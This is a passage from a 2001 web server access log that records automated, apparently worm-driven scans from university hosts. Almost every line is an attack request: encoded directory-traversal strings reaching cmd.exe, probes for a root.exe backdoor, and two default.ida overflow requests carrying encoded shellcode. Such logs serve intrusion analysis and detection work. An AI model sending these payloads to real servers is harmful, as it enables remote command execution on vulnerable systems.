  6320. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6321. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6322. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6323. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6324. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6325. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6326. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6327. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6328. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6329. 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6330. 20010918 20:27:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6331. 20010918 20:32:03: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6332. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6333. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6334. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6335. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6336. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6337. 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6338. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6339. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6340. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6341. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6342. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6343. 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6344. 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6345. 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6346. 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6347. 20010918 20:33:33: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6348. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6349. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6350. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6351. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6352. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6353. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6354. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6355. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6356. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6357. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6358. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6359. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6360. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6361. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6362. 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6363. 20010918 20:35:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6364. 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6365. 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6366. 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6367. 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6368. 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6369. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6370. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6371. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6372. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6373. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6374. 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6375. 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6376. 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6377. 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6378. 20010918 20:39:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6379. 20010918 20:39:24: hawk-c-040.resnet.purdue.edu [128.211.202.40] ""
  6380. 20010918 20:39:36: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6381. 20010918 20:39:42: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6382. 20010918 20:39:44: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6383. 20010918 20:39:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6384. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6385. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6386. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6387. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6388. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6389. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6390. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6391. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6392. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6393. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6394. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6395. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6396. 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6397. 20010918 20:42:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6398. 20010918 20:42:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6399. 20010918 20:42:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6400. 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6401. 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6402. 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6403. 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6404. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6405. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6406. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6407. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6408. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6409. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6410. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6411. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6412. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6413. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6414. 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6415. 20010918 20:43:05: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6416. 20010918 20:43:48: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6417. 20010918 20:43:48: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6418. 20010918 20:43:49: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6419. 20010918 20:43:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6420. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6421. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6422. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6423. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6424. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6425. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6426. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6427. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6428. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6429. 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6430. 20010918 20:43:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6431. 20010918 20:43:56:  [128.187.39.227] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6432. 20010918 20:44:23:  [128.187.39.227] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6433. 20010918 20:44:41:  [128.187.39.227] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6434. 20010918 20:44:59:  [128.187.39.227] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6435. 20010918 20:45:18:  [128.187.39.227] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6436. 20010918 20:45:36:  [128.187.39.227] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6437. 20010918 20:45:54:  [128.187.39.227] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6438. 20010918 20:46:12:  [128.187.39.227] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6439. 20010918 20:46:31:  [128.187.39.227] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6440. 20010918 20:46:49:  [128.187.39.227] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6441. 20010918 20:47:07:  [128.187.39.227] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6442. 20010918 20:47:26:  [128.187.39.227] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6443. 20010918 20:47:44:  [128.187.39.227] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6444. 20010918 20:48:02:  [128.187.39.227] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6445. 20010918 20:48:20:  [128.187.39.227] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6446. 20010918 20:48:39:  [128.187.39.227] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6447. 20010918 20:48:57: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6448. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6449. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6450. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6451. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6452. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6453. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6454. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6455. 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6456. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6457. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6458. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6459. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6460. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6461. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6462. 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6463. 20010918 20:49:51: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6464. 20010918 20:50:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6465. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6466. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6467. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6468. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6469. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6470. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6471. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6472. 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6473. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6474. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6475. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6476. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6477. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6478. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6479. 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6480. 20010918 20:54:32: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6481. 20010918 20:56:07: libr-968.dhcp.umass.edu [128.119.171.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6482. 20010918 20:56:07: libr-968.dhcp.umass.edu [128.119.171.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6483. 20010918 20:56:08: libr-968.dhcp.umass.edu [128.119.171.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6484. 20010918 20:56:08: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6485. 20010918 20:56:09: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6486. 20010918 20:56:09: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6487. 20010918 20:56:13: libr-968.dhcp.umass.edu [128.119.171.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6488. 20010918 20:56:13: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6489. 20010918 20:56:14: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6490. 20010918 20:56:14: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6491. 20010918 20:56:15: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6492. 20010918 20:56:15: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6493. 20010918 20:56:16: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
